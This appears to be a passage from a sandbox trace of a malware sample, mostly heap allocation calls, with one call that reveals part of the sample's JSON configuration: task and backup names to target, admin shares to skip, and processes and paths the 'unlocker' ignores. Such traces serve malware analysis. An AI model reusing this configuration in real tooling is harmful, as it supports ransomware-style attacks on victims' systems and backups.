Size=0x4) returned 0x2f6a78 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f79b0 [0126.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6a78, Size=0x8) returned 0x2f6a78 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f79d0 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4) returned 0x2f73e8 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f79f0 [0126.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x8) returned 0x2f73e8 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7a10 [0126.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0xc) returned 0x2f73e8 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7a30 [0126.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x10) returned 0x2f73e8 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7a50 [0126.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x14) returned 0x2f73e8 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7a70 [0126.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x18) returned 0x2f73e8 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7a90 [0126.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x1c) returned 0x2f73e8 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7ab0 [0126.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x20) returned 0x2f73e8 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7ad0 [0126.747] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x24) returned 0x2f73e8 [0126.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7af0 [0126.747] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x28) returned 0x2f73e8 [0126.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7b10 [0126.747] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x2c) returned 0x2f7cf0 [0126.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7b30 [0126.747] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x30) returned 0x2f7cf0 [0126.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7b50 [0126.747] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x34) returned 0x2f7cf0 [0126.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7b70 [0126.747] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x38) returned 0x2f7cf0 [0126.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7b90 [0126.747] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x3c) returned 0x2f7cf0 [0126.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7bb0 [0126.747] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x40) returned 0x2f7cf0 [0126.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7bd0 [0126.747] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x44) returned 0x2f7cf0 [0126.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7bf0 [0126.747] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x48) returned 0x2f7cf0 [0126.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7d58 [0126.747] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x4c) returned 0x2f8540 [0126.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7d78 [0126.747] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x50) returned 0x2f8540 [0126.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7d98 [0126.747] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x54) returned 0x2f8540 [0126.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7db8 [0126.747] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x58) returned 0x2f8540 [0126.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7dd8 [0126.747] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x5c) returned 0x2f8540 [0126.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7df8 [0126.747] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x60) returned 0x2f8540 [0126.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7e18 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x64) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7e38 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x68) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7e58 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x6c) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7e78 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x70) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7e98 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x74) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7eb8 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x78) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7ed8 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x7c) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7ef8 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x80) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7f18 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x84) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7f38 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x88) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7f58 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x8c) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7f78 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x90) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7f98 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x94) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7fb8 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x98) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7fd8 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x9c) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7ff8 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xa0) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8018 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xa4) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8038 [0126.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xa8) returned 0x2f8540 [0126.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8058 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xac) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8078 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xb0) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8098 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xb4) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f80b8 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xb8) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f80d8 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xbc) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f80f8 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xc0) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8118 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xc4) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8138 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xc8) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8158 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xcc) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8178 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xd0) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8198 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xd4) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f81b8 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xd8) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f81d8 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xdc) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f81f8 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xe0) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8218 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xe4) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8238 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xe8) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8258 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xec) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8278 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xf0) returned 0x2f8540 [0126.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8298 [0126.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xf4) returned 0x2f8540 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f82b8 [0126.750] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xf8) returned 0x2f8540 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f82d8 [0126.750] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0xfc) returned 0x2f8540 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f82f8 [0126.750] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x100) returned 0x2f8540 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8318 [0126.750] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x104) returned 0x2f8540 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8338 [0126.750] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8540, Size=0x108) returned 0x2f8540 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8358 [0126.750] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6a78, Size=0xc) returned 0x2f73e8 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8378 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4) returned 0x2f6a78 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8398 [0126.750] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6a78, Size=0x8) returned 0x2f6a78 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f83b8 [0126.750] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6a78, Size=0xc) returned 0x2f7400 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f83d8 [0126.750] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7400, Size=0x10) returned 0x2f7400 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f83f8 [0126.750] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7400, Size=0x14) returned 0x2f7cf0 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8418 [0126.750] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x18) returned 0x2f7cf0 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8438 [0126.750] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x1c) returned 0x2f7cf0 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8458 [0126.750] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x20) returned 0x2f7cf0 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8478 [0126.750] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x24) returned 0x2f7cf0 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8498 [0126.750] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x28) returned 0x2f7cf0 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f84b8 [0126.750] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x2c) returned 0x2f7cf0 [0126.750] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f84d8 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x30) returned 0x2f7cf0 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f84f8 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x34) returned 0x2f7cf0 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8518 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x38) returned 0x2f7cf0 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8668 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x3c) returned 0x2f7cf0 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8688 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x40) returned 0x2f7cf0 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f86a8 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x44) returned 0x2f7cf0 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f86c8 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x48) returned 0x2f7cf0 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f86e8 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x4c) returned 0x2f8e50 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8708 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x50) returned 0x2f8e50 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8728 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x54) returned 0x2f8e50 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8748 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x58) returned 0x2f8e50 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8768 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x5c) returned 0x2f8e50 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8788 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x60) returned 0x2f8e50 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f87a8 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x64) returned 0x2f8e50 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f87c8 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x68) returned 0x2f8e50 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f87e8 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x6c) returned 0x2f8e50 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8808 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x70) returned 0x2f8e50 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8828 [0126.751] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x74) returned 0x2f8e50 [0126.751] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8848 [0126.752] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x78) returned 0x2f8e50 [0126.752] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8868 [0126.752] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x7c) returned 0x2f8e50 [0126.752] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8888 [0126.752] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x80) returned 0x2f8e50 [0126.752] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f88a8 [0126.752] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x84) returned 0x2f8e50 [0126.752] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f88c8 [0126.752] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x88) returned 0x2f8e50 [0126.752] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f88e8 [0126.752] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x8c) returned 0x2f8e50 [0126.752] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8908 [0126.752] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8e50, Size=0x90) returned 0x2f8e50 [0126.752] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8928 [0126.752] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x10) returned 0x2f73e8 [0126.752] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8948 [0126.752] strtol (in: _Str="20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x2bf738, _Radix=0 | out: _EndPtr=0x2bf738*=",\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 20 [0126.752] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x14) returned 0x2f73e8 [0126.752] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8968 [0126.752] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4) returned 0x2f6a78 [0126.752] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f8988 [0126.752] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6a78, Size=0x8) returned 0x2f6a78 [0126.752] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f89a8 [0126.752] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6a78, Size=0xc) returned 0x2f7cf0 [0126.752] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f89c8 [0126.752] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x10) returned 0x2f7cf0 [0126.752] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f89e8 [0126.752] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x14) returned 0x2f7cf0 [0126.752] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x18) returned 0x2f7cf0 [0126.752] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7cf0, Size=0x1c) returned 0x2f7cf0 [0126.752] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6aa8, Size=0x34) returned 0x2f8ee8 [0126.753] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8f40, Size=0x8) returned 0x2f8f50 [0126.753] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8f40, Size=0x8) returned 0x2f8f60 [0126.753] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8f60, Size=0xc) returned 0x2f4d68 [0126.753] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8f60, Size=0x8) returned 0x2f8f40 [0126.753] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8ee8, Size=0x38) returned 0x2f8ee8 [0126.753] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8f60, Size=0x8) returned 0x2f8f70 [0126.753] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f8f60, Size=0x8) returned 